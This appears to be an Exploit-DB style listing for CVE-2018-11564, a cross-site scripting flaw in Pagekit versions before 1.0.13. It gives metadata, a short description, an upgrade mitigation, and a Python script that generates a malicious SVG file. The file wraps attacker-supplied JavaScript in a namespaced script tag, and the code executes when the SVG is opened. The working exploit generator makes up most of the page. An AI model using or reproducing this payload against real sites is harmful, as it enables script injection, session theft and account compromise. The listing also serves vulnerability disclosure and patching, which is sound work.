Pagekit < 1.0.13 - Cross-Site Scripting Code Generator

vendor:

Pagekit

by:

DEEPIN2

8.8

CVSS

HIGH

Cross-Site Scripting

CWE

Product Name: Pagekit

Affected Version From: < 1.0.13

Affected Version To: < 1.0.13

Patch Exists: YES

Related CWE: 2018-11564

CPE: a:pagekit:pagekit

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: None

2018

Pagekit < 1.0.13 - Cross-Site Scripting Code Generator

This exploit allows an attacker to inject malicious code into a vulnerable Pagekit version < 1.0.13. The code generator creates a malicious SVG file which contains a script tag with the malicious code. The malicious code is then executed when the SVG file is opened.

Mitigation:

Upgrade to the latest version of Pagekit, 1.0.13 or later.

Source

Exploit-DB raw data:

# Title: Pagekit < 1.0.13 - Cross-Site Scripting Code Generator
# Author : DEEPIN2
# Date: 2018-06-05
# Vendor: Pagekit
# Sotware: https://pagekit.com/
# Version: < 1.0.13
# CVE: 2018-11564
# python3 required

def makesvg(name, code):
	code = '<exploit:script xmlns:exploit="http://www.w3.org/1999/xhtml">' + code + '</exploit:script>'
	f = open(name, 'w+')
	f.write(code)
	f.close


if __name__ == '__main__':
	print('''
  ______     _______     ____   ___  _  ___        _ _ ____   __   _  _   
 / ___\ \   / / ____|   |___ \ / _ \/ |( _ )      / / | ___| / /_ | || |  
| |    \ \ / /|  _| _____ __) | | | | |/ _ \ _____| | |___ \| '_ \| || |_ 
| |___  \ V / | |__|_____/ __/| |_| | | (_) |_____| | |___) | (_) |__   _|
 \____|  \_/  |_____|   |_____|\___/|_|\___/      |_|_|____/ \___/   |_|  
	[*] Author : DEEPIN2(Junseo Lee)''')
	print('[*] enter name without extension, ex) test.svg -> test')
	filename = input('Filename : ') + '.svg'
	print('[*] If you want to use alert(), type "alert("bla..bla..")"')
	scriptcode = input('Script code : ')
	try:
		makesvg(filename, scriptcode)
		print('[+] Successfully make venom file "%s"' %filename)
	except Error as e:
		print(e)